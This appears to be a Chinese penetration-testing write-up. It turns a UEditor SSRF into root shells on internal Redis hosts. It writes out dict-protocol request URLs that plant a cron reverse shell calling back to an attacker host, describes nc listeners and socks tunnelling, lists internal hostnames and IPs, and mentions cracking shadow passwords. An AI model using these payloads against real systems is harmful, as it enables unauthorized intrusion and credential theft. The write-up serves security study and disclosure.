**Github地址：https://github.com/r35tart/PenetrationTestingCase

-----------------------------------------------------漏洞詳情：**低危SSRF漏洞

漏洞域名：http://xxxxxxxxx.*.com打開后自動跳轉(zhuǎn)至：http://xxxxxxx.*.com/Public/login且狀態(tài)碼為404 一般這樣的URI憑經(jīng)驗感覺是php的站，查看cookies基本可以確定是php的站

由于是404推測曾經(jīng)可能跑過測試應(yīng)用網(wǎng)站可能會遺留一些測試文件或者備份文件，故fuzz了一下看到phpmyadmin的狀態(tài)碼為206的時候就知道有WAF，應(yīng)該不太好弄，但是看到ueditor百度編輯器的時候興奮了，因為這很有可能存在SSRF，而你們的內(nèi)網(wǎng)又那么大，搞不好還在我上次搞過的內(nèi)網(wǎng)段中，所以如果存在SSRF的話有很大概率能夠再次搞進內(nèi)網(wǎng)。

幾經(jīng)測試最終找到此SSRF并成功觸發(fā)

低危漏洞提權(quán)接下來要做的事

1. 摸清SSRF的狀態(tài)是否為布爾狀態(tài)

2. 此SSRF支持什么協(xié)議

3. 此SSRF是否支持302跳轉(zhuǎn)

一、嘗試請求一個沒開放的1234端口回復(fù)"鏈接不可用"

二、嘗試請求開放的22端口回顯"鏈接不可用"

三、嘗試請求開放的80端口回顯"success"并把圖片抓了回來

四、嘗試請求我的302跳轉(zhuǎn)回復(fù)"鏈接不可用"但是跳轉(zhuǎn)成功。得出結(jié)論：

此SSRF為布爾型SSRF，能探測http應(yīng)用并獲取html源碼、支持302跳轉(zhuǎn)，可嘗試通過響應(yīng)速度來探測端口但誤報率很高（某些端口可能是一直連接，最后超時）

知道此SSRF的性質(zhì)以后便需要開始測試他支持什么協(xié)議了，經(jīng)測試發(fā)現(xiàn)由于使用的php版本比較老支持好幾個協(xié)議，使用gopher協(xié)議的時候狀態(tài)為206提示有WAF，但WAF卻沒攔截DICT協(xié)議，雖然gopher協(xié)議有WAF攔截但是支持DCIT的話一樣可以掃描內(nèi)網(wǎng)redis寫shell反彈，只不過相對麻煩而已，并不礙事。

現(xiàn)在有一個問題就是我并不知道內(nèi)網(wǎng)IP段是多少，于是我便去Github上面去找內(nèi)網(wǎng)域名，找到以下內(nèi)網(wǎng)域名gitlab.corp.*.com、jk.corp.*.com、wiki.corp.*.com等… 并通過SSRF請求jk.corp.*.com從中獲取到了內(nèi)網(wǎng)IP信息

然后就開始嘗試內(nèi)網(wǎng)編織大致摸清了幾個網(wǎng)段的分布和作用（根據(jù)logo識別應(yīng)用）

最后發(fā)現(xiàn)88段應(yīng)該為脆弱的開發(fā)業(yè)務(wù)段，根據(jù)之前搞了你們另外一個內(nèi)網(wǎng)的經(jīng)驗，斷定此段必定存在多個redis數(shù)據(jù)庫而且還是空口令的，于是使用dict協(xié)議往10.20.85-95.1/24段發(fā)redis寫shell的請求

使用dict協(xié)議向Redis數(shù)據(jù)庫寫shell

1.先清除沒用的數(shù)據(jù)，防止定時任務(wù)執(zhí)行失敗

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=flushall

2.利用302跳轉(zhuǎn)寫入反彈命令

/php/controller.php?action=catchimage&source[]=http://xxxx/s.php?s=dict%26ip=10.20.*.*%26port=6379%26bhost=*.*.*.*%26bport=1234

3.設(shè)置導(dǎo)出路徑

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=config:set:dir:/var/spool/cron/

4.設(shè)置導(dǎo)出名字

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=config:set:dbfilename:root

5.導(dǎo)出

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=save

使用burp發(fā)包，為了避免語句順序執(zhí)行錯誤，故第一個包先跑50個再跑第二個包以此類推

獲取內(nèi)網(wǎng)多臺ROOT權(quán)限

使用nc持續(xù)監(jiān)聽端口，剛剛?cè)颗芡犟R上就有差不多15臺左右主機反彈出來了而且都是root權(quán)限

在其中一臺內(nèi)網(wǎng)一臺云服中發(fā)現(xiàn)了多個數(shù)據(jù)庫并發(fā)現(xiàn)了f**p的相關(guān)業(yè)務(wù)

89段office辦公主機 跑著***系統(tǒng)

滲透內(nèi)網(wǎng)！

嘗試打socket隧道出來

內(nèi)網(wǎng)探測

使用ew打的socke隧道經(jīng)常出問題，于是把自己寫的內(nèi)網(wǎng)探測腳本丟到服務(wù)器上跑了起來，只挑了幾個重要的核心網(wǎng)段跑

發(fā)現(xiàn)172網(wǎng)段是 http://www.***.com/ 所在的業(yè)務(wù)段為了更加快速的定位到重要網(wǎng)段，我對內(nèi)網(wǎng)域名進行了爆破并查看他們的解析地址

who.corp.*.com (10.20.95.89)

gongdan.corp.*.com (10.100.100.204)

work.corp.*.com (10.100.75.25)

jk.corp.*.com (10.20.95.86)

baize.corp.*.com (172.31.80.151)

asset.corp.*.com (10.20.95.50)

pm.corp.*.com (10.20.95.29)

wiki.corp.*.com (10.20.95.87)

cms.corp.*.com (172.31.80.101)

…….

本帖隱藏的內(nèi)容需要積分高于 1000 才可瀏覽

抓了幾個shadow的密碼跑了一下 發(fā)現(xiàn)弱口令挺多的

一堆平臺只是打開看了一下，并沒有進一步操作

滲透到這里就該結(jié)束了，本想著下一步先使用metasploit打兩臺window后嘗試拿域控的，因為比較難遇到這樣的實戰(zhàn)環(huán)境，但還是沒有進行進一步操作，點到為止。此漏洞從周四晚上八九點發(fā)現(xiàn)低危SSRF到拿到內(nèi)網(wǎng)ROOT權(quán)限用了不到三個小時時間，但是由于waf 和ids等設(shè)備的阻攔打socks隧道花了我將近兩倍拿shell 的時間，最終發(fā)現(xiàn)不穩(wěn)定的原因是我的nc -k參數(shù)持續(xù)監(jiān)聽了端口，導(dǎo)致內(nèi)網(wǎng)十幾臺redis數(shù)據(jù)庫都在同時請求我的端口上線，我想執(zhí)行一條命令，將會同時在這十幾臺上線的主機上同時執(zhí)行，這導(dǎo)致了我的socke端口堵塞，最后解決辦法是，不用-k參數(shù)，當一臺主機上線后，不接受其他主機上線請求。然后操作這臺主機使用sSocks 再打一條相對穩(wěn)定的socks隧道出來，直入內(nèi)網(wǎng)，不得不說sSocks相比EW穩(wěn)得一批。

結(jié)束語：

任何嚴重漏洞的背后必然是從一個不起眼的沒什么技術(shù)含量的容易被忽略的漏洞引起的，做好細微漏洞的防范的能防止重大信息安全事故的發(fā)生。